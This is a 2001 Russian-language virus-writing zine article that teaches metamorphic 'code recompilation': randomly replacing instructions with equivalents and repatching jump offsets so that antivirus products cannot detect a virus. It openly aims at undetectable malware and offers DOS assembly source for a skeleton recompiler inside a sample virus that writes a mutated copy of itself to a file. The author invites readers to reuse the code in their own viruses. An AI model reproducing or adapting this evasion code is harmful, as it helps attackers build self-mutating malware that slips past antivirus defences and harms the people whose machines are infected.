_____ _____ ___
_,┌\/┐ :░ :░ :░ ╓ social distortion all about vx-scene ╖
,4\┘¤"``"¤┘ ll l¤` ll ::;;;::;;.... ....:;..: ::...;.:;;;:;
:░(_ | ___ ll ._
`└/|│S|/┐,_ |¤`┌\╙¤"¤╜/:: |╓,._ перекомпиляция кода [2001]
_____ ``^"¤└/L, d7┘` ___ 7l:;%%|.$|
$$$$|_ | `7;?( |asd| :: |$$$|$| by mongoose [m_youth]
$$$$|/┌,.__,┌\:`4│/┐,_ _ll ``''""¤¤┘┘
$$$$|`└/|││|\┘` `¤└/│:
─ содержание
введение ........................................... 1
перекомпиляция кода ................................ 2
определение размера инструкции (c) 1997 Reminder ... 5
перекомпилятор (c) 2001 mongoose ................... 6
─ введение
многие (начинающие) вирмейкеры пытаются защитить свои продукты от
быстрого попадания в руки к аверам. большинство из попыток заканчивается
написанием нового полиморфика далеко не среднего качества, либо изучением
(а затем приминением в продукте) технологии stealth, uep ... ;\
- перекомпиляция кода
уже была попытка написать что-то немного похожее - вирус TMC. btw,
исходники этого довольно интересного продукта, вирмейкера из Словакии можно
найти в журнале Asterix 2 (так же, этот вирус дизасмил DarkMan из 29A,
исходники можно скачать с его сайта, кстати, в них разобраться намного
проще, чем в авторских). был написан "перекомпилятор" кода, однако
использовался он немного по иному. вирус разбивался на блоки и друг с
другом они соединялись командами типа jmp. это выглядело примерно так:
[ кусок кода 1 ]
[jmp на кусок 2]
[ кусок мусора ]
[ кусок кода 2 ]
[jmp на кусок 3]
[ кусок мусора ]
...
оффсеты соответсвенно менялись. однако, продетектировать копию вируса TMC
(имея слабенький эмулятор и процедуру для соединения отдельных кусков в
вирус) особого труда не составляло, однако "с ходу" детектировать вирус
смогли только dr.web и, если я не ошибаюсь, nod ;) ... остальные
обломались, но позже, наверстали упущенное.
идея конечно не нова и вроде где-то я уже слышал (может даже читал) о ней
(кажется Z0MBiE упоминал) было написано пару слов, но я решил все разжевать
и преставить код. к сожалению, код примера не очень хорошо откоментирован и
неполностью сделан.
я предлагаю сделать следующее: немного подкоректировав продукт, вставить
в него специальный анализатор, который будет заменять инструкции на
эквивалент, причем не просто [or ax,ax] на [test ax,ax], а например:
mov ax,cx на push cx
pop ax
xchg ax,dx на push ax dx
pop ax dx
sub ax,ax на mov ax,00
причем, нельзя забывать, о том, что размер вируса будет постепенно
увеличиваться, но, в зависимости от мощности перекомпилятора, можно
расчитать максимально возможный размер продукта.
мы должны менять не каждую попавшуюся инструкцию, а по рандому ... причем
для каждой инструкции должно быть как можно больше эквивалентов.
в конечном итоге, если все грамотно реализовать, вполне можно получить не
детектируемую вещь! но главное, не зарываться и не вставлять в продукт кучи
текстов etc, иначе, совместо с несколькими маленькими константами в коде и
контрольными суммами текстов, аверы могут легко сечь продукт. спасает так
же то, что кодо-эмулятор Reminder'а используется не только в этом продукте,
но и в нескольких других - поэтому, он не может является основной
сигнатурой, однако он + пара маленьких констант в коде + текста могут стать
потенциальной сигнатурой.
со статьей предлагается простенький перекомпилятор под dos, он не доделан
до рабочего состояния, просто сделан скелет, который изменяет некоторые
инструкции на эквиваленты, а затем рекомпилирует оффесты в инструкции jmp.
используйте код или его части без ссылки на автора (меня). есть одно но
(для тех кто захочет использовать его в своих вирусах), перекомпилятор не
универсален и заточен под конкретный продукт ... однако подогнать его под
свой продукт не займет не более 2-3 минут.
───[vcode.inc]───────────────────────────────────────────────────────[start]──
; [wild_thing] for code recompiler 0.01 (c) mongoose /MY
;
;
.model tiny
.code
org 256
;───────────────────────
code_size equ (real_start-start)
;───────────────────────
start:
jmp real_start
xor ax,ax
xor ax,ax
db 125 dup (90h)
ss1: jmp start
xor ax,ax
xor ax,ax
xor ax,ax
real_start: call calculate_ip
calculate_ip: pop bp
sub bp,offset calculate_ip
jmp real_start_ ; в начало вируса
;───────────────────────
virus_size dw (code_size)
; virus_size dw (end_of_code-start) ; размер вируса (не постоянный)
file_name db 'porno.exe',0
;───────────────────────
real_start_: lea di,[bp+crypt_buffer]
lea si,[bp+start]
mov cx,(code_size)
push cx di
cld
rep movsb
pop si cx
call recompile
mov ah,3ch
lea dx,[bp+file_name]
int 21h
xchg bx,ax
mov ah,40h
mov cx,word ptr [bp+virus_size]
lea dx,[bp+crypt_buffer]
int 21h
mov ah,3eh
int 21h
mov ax,4c00h
int 21h
;──────────────────────────────────────────────────────────────────────────────
; gen_rnd_num - выбор случайного числа от 0 до cx
;
; on start ds:cx - граница
;
; on exit ds:ax - число
;
gen_rnd_num: push bx
in ax,40h
in al,40h
mov bx,261
mul bx
or ax,ax
jz again
mov bx,65521
div bx
or dx,dx
jnz not_zero
;───────────────
again: pop bx
jmp gen_rnd_num
;───────────────
not_zero: xchg ax,dx
sub dx,dx
or ax,ax
jnz cont_rnd
inc ax
or cx,cx
jnz cont_rnd
inc cx
cont_rnd: div cx
xchg ax,dx
pop bx
ret
;───────────────────────
virus_name db 'wild thing'
;───────────────────────
include rec\count.inc
include rec\rec_code.inc
include rec\rec_offs.inc
;───────────────
end_of_code label byte
include rec\rec_heap.inc
end start
;───────────────────────
───[vcode.inc]──────────────────────────────────────────────────────────[end]─
───[rec\count.inc]───────────────────────────────────────────────────[start]──
;
; "Asm Instruction First byte Show" (Small disasm) (c) Reminder (1997)
;
@dis_init: lea si,[bp+rle_table] ; di - buf for table (256)
mov cx,88
cld
@c1: lodsb
mov bx,1
push ax
and al,0F0h
cmp al,70h
pop ax
jnz @s1
and al,0fh
mov bl,al
lodsb
dec cx
@s1: push ax cx ax
and al,0fh
stosb
pop ax
mov cx,4
shr al,cl
stosb
pop cx ax
dec bx
jnz @s1
loop @c1
ret
;
; Table 4 "Asm Instruction First byte Show" (Small disasm) (c) Reminder (1997)
;
; 11111111b
; | |
; | |
; | - @1 (field 0 - 3 bit) @1 - first byte
; - @2 (field 4-7 bit) @2 - second byte
;
; RLE Compression ;)
;if @2 = 0111b then next byte*@1
;
; (c) Reminder (1997)
;
; bp - ofsfet table si - kod. si - next kod
;
@dmain: push bx
lodsb
;----------
cmp al,0fh
jz sux
cmp al,0f1h
jz sux
;----------
cem_bp: mov bx,00ffh
xlat
sub bx,bx
or al,al
jz quit
push ax ; imm
and al,7
add bl,al
pop ax
test al,8 ;rm
jz quit
lodsb
mov ah,al
push cx
mov cl,6
shr al,cl
pop cx
cmp al,3
jz quit
add bl,al
or al,al
jnz quit
and ah,7
cmp ah,6
jnz quit
add bx,2
quit: add si,bx
clc
pop bx
ret
sux: stc
pop bx
ret
;
rle_table db 088h,088h,021h,000h,088h,088h,021h,000h,088h,088h
db 021h,000h,088h,088h,021h,000h,088h,088h,021h,000h
db 088h,088h,021h,000h,088h,088h,021h,000h,088h,088h
db 021h,07Fh,000h,076h,000h,0A2h,091h,000h,000h,078h
db 011h,0A9h,0A9h,074h,088h,028h,088h,075h,000h,004h
db 000h,000h,022h,022h,000h,000h,022h,073h,000h,074h
db 011h,074h,022h,099h,002h,022h,0A9h,003h,002h,010h
db 000h,088h,088h,011h,000h,074h,088h,074h,011h,022h
db 014h,075h,000h,0A9h,073h,000h,088h
;
; start : si = location
; exit : ax = size
;
instr_size: push ax cx dx bx bp sp si di
lea di,[bp+sot]
call @dis_init
pop di si sp bp bx dx cx ax
push cx dx bx di si sp bp
lea cx,[bp+sot]
mov word ptr [bp+cem_bp+1],cx
mov cx,1
xor dx,dx
mov bx,si
call @dmain
mov ax,si
sub ax,bx
pop bp sp si di bx dx cx
ret
───[rec\count.inc]──────────────────────────────────────────────────────[end]─
───[rec\rec_code.inc]────────────────────────────────────────────────[start]──
;═════════════════════════════════════════════════════════════════════════════
; code_recompiler version 0.01 (c) mongoose
; перекомпилятор (вирусного) кода by mongoose
;
; on start ds:cx - размер кода
; ds:si - расположение кода
;
recompile: lea di,[bp+mod_buffer]
mov word ptr [bp+crypt_len],0
push cx si
;───────────────
recompile_: push cx si
; int 3
call instr_size
; int 3
cmp al,1
jz instr_1
cmp al,2
jz instr_2
cmp al,3
jz instr_3
cmp al,4
jz instr_4
recompile_lp: pop si cx
add si,ax
sub cx,ax
recompile_lp_: cmp cx,0
js recompile_ret
jnz recompile_
recompile_ret: sub ax,ax ; конец таблицы модификаций
stosw
pop si cx
call recomp_off
ret
;───────────────
instr_1:
jmp recompile_lp
;───────────────
instr_2: cmp byte ptr [si],2bh
jz sxr_reg_reg16
cmp byte ptr [si],33h
jz sxr_reg_reg16
cmp byte ptr [si],8bh
jz mov_reg_reg16
jmp recompile_lp
;───────────────
instr_3:
jmp recompile_lp
;───────────────
instr_4:
jmp recompile_lp
;───────────────
instr_ret: call save_mod_buf
pop si cx
add si,ax
sub cx,dx
jmp recompile_lp_
;───────────────
; sub/xor reg1,reg2 - 16 bit registers
;
; reg1-ah reg2-al
;
sxr_reg_reg16: push ax cx dx
mov ah,byte ptr [si+1] ; ah-часть инстр. с регистрами
mov al,byte ptr [si+1] ; al-часть инстр. с регистрами
mov cl,3
shr ah,cl ; сдвигаем на 3 бита вправо
and ah,11b ; отделяем первый регистр от id
and al,11b
cmp ah,al
jz cont_sub_rr16
pop dx cx ax
jmp recompile_lp
;───────────────
cont_sub_rr16: push ax ; запомним регистры
mov cx,2
call gen_rnd_num ; случайное число от 0 до 2
or ax,ax ; если число = 0, выберем метод
pop ax ; через sub/xor reg16,reg16
jnz sub_mov_rr16 ; иначе через mov reg16,0
;───────────────
sbxr_xor_rr16: cmp byte ptr [si],33h
jz sx_move_sub
mov al,33h
jmp sx_move_instr
sx_move_sub: mov al,2bh
sx_move_instr: mov byte ptr [si],al
mov al,2
stosb ; размер новой инструкции в di
pop dx cx ax
jmp instr_ret
;───────────────
sub_mov_rr16: mov cx,1
call make_hole
push di
mov di,si
add al,0b8h
stosb
sub ax,ax
stosw
pop di
mov al,3
stosb ; размер новой инструкции в di
pop dx cx ax
jmp instr_ret
;───────────────
; mov reg1,reg2 - 16 bit registers
;
; reg1-ah reg2-al
;
mov_reg_reg16: push ax cx dx
mov ah,byte ptr [si+1] ; ah-часть инстр. с регистрами
mov al,byte ptr [si+1] ; al-часть инстр. с регистрами
mov cl,3
shr ah,cl ; сдвигаем на 3 бита вправо
and ah,11b ; отделяем первый регистр от id
and al,11b
;───────────────
push ax ; запомним регистры
mov cx,2
call gen_rnd_num ; случайное число от 0 до 2
or ax,ax ; если число = 0, выберем метод
pop ax ; через xchg иначе через
jz mov_rr16_xchg ; push / pop
;═══════════════
mov_rr16_pp: add al,50h ; делаем push второй регистр
mov byte ptr [si],al
add ah,58h ; делаем pop первый регистр
mov byte ptr [si+1],ah
mov al,2
stosb ; размер новой инструкции в di
pop dx cx ax
jmp instr_ret
;═══════════════
mov_rr16_xchg: mov cx,2 ; вырезаем дополнительную дыру
call make_hole ; в 2 байта
push ax
add al,50h ; делаем push второй регистр
mov byte ptr [si],al ; пишем в код
add al,08h ; делаем pop второй регистр
mov byte ptr [si+3],al ; пишем в код
pop dx
call xchg_rr16
mov word ptr [si+1],ax
mov al,4
stosb
pop dx cx ax
jmp instr_ret
;───────────────
xchg_rr16: push cx dx
mov ax,1100000010000111b
call make_inst
pop dx cx
ret
;───────────────
make_inst: or ah,dl
mov cl,3
shl dh,cl
or ah,dh
ret
;───────────────
lea_offset:
;───────────────
save_mod_buf: push ax
stosb ; размер старой инструкции в di
push si ; ax = si
pop ax ; ...
stosw ; оффсет измененной инстр. в si
pop ax
sub ax,ax
mov al,byte ptr [di-4]
sub dx,dx
mov dl,byte ptr [di-3]
inc word ptr [bp+crypt_len]
ret
;───────────────────────
; make_hole - вырезаем дыру в коде размером cx байт
;
; on start ds:cx - размер дыры
; ds:si - место в коде для дырки
;
make_hole: push ax cx si di
lea di,[bp+crypt_buffer]
add di,word ptr [bp+virus_size]
add word ptr [bp+virus_size],cx
push di di
add di,cx
pop cx
sub cx,si
pop si
dec di
dec si
make_hole_lp: mov al,byte ptr [si]
mov byte ptr [di],al
dec di
dec si
loop make_hole_lp
pop di si cx ax
ret
;───────────────────────
───[rec\rec_code.inc]───────────────────────────────────────────────────[end]─
───[rec\rec_offs.inc]────────────────────────────────────────────────[start]──
;═════════════════════════════════════════════════════════════════════════════
; offs_recompiler version 0.01 (c) mongoose
; перекомпилятор (вирусного) кода, а именно offset'ов
;
; on start ds:cx - размер кода
; ds:si - расположение кода
;
recomp_off:
;───────────────
recomp_offset: push cx si
call instr_size ; определяем размер инструкции
mov cx,word ptr [bp+crypt_len] ; кол-во измененных инструкций
lea di,[bp+mod_buffer] ; буффер с данными
cmp al,3 ; ax = 3 ?
jz roff_instr_3 ; да, переходим
cmp al,4
jz roff_instr_4
;───────────────
rec_off_lp: pop si cx
add si,ax ; следующая инструкция
sub cx,ax ; проверять на одну инструкцию меньше
rec_off_lp_: cmp cx,0 ; конец кода? ;)
js rec_off_ret ; если конец, отвалим
jnz recomp_offset ; иначе продолжим
rec_off_ret: ret
;───────────────
roff_instr_3: cmp byte ptr [si],0e9h ;
jz ro_jmp_near ; jmp near offset
jmp rec_off_lp ; конец 3 байтовых инструкций
;───────────────
roff_instr_4: cmp byte ptr [si],08dh ;
jz ro_jmp_near ; jmp near offset
jmp rec_off_lp ; конец 4 байтовых инструкций
;────────────────────────────────────────────────────────────────────────────
; jmp near offset - near jump
;
ro_jmp_near: push ax dx
mov ax,word ptr [si+1] ; на сколько нужно прыгнуть ?
add ax,3 ; добавим 3 (размер инструкции)
add ax,si ; преобразуем в offset
cmp si,ax ; если (inst off) < (jump off)
jl ro_jmp_ndown ; то это jmp вниз
;───────────────
ro_jmp_nup: cmp word ptr [di+2],ax ; измененная инст-ция находится
jl ro_jmp_nup_ ; ниже инструкции (jmp вверх)
; значит модифицировать ненужно
;───────────────
cmp word ptr [di+2],si ; измененная инст-ция находится
jg ro_jmp_nup_ ; выше инструкции на которую
; совершается переход
call ro_jmp_nmod ; если изм. инструкция находится
; между jmp и дестинацией изменяем
sub word ptr [si+1],dx ; изменим инструкцию
;───────────────
ro_jmp_nup_: add di,4 ; следующие данные
loop ro_jmp_nup ; цикл
pop dx ax
jmp rec_off_lp ; выходим
;═══════════════
ro_jmp_ndown: cmp word ptr [di+2],si
jl ro_jmp_ndown_
;───────────────
cmp word ptr [di+2],ax
jg ro_jmp_ndown_
call ro_jmp_nmod
add word ptr [si+1],dx ; изменим инструкцию
;───────────────
ro_jmp_ndown_: add di,4 ; следующие данные
loop ro_jmp_ndown ; цикл
pop dx ax
jmp rec_off_lp ; выходим
;───────────────────────
; модификация offset'а инструкции jmp near
;
ro_jmp_nmod: push ax ; запомним ax
sub ax,ax ; ax = 0
sub dx,dx ; dx = 0
mov al,byte ptr [di+1] ; al = размер оригинальной инструкции
mov dl,byte ptr [di] ; dl = размер измененной инструкции
sub dx,ax ; dx = разница
pop ax ; вспомним ax
add ax,dx ;
ret
;───────────────────────
───[rec\rec_offs.inc]───────────────────────────────────────────────────[end]─
───[rec\rec_heap.inc]────────────────────────────────────────────────[start]──
sot db 260 dup (?)
mod_buffer db 1000 dup (?)
crypt_len dw ?
crypt_buffer db (end_of_code-start)*2 dup (?)
───[rec\rec_heap.inc]───────────────────────────────────────────────────[end]─
greets to Black Angel [Multiplatform Advanced Destroyer], thanks for help
HTTP://MYALLSTAR.CJB.NET (x) 2001 mongoose, misdirected_youth_all-star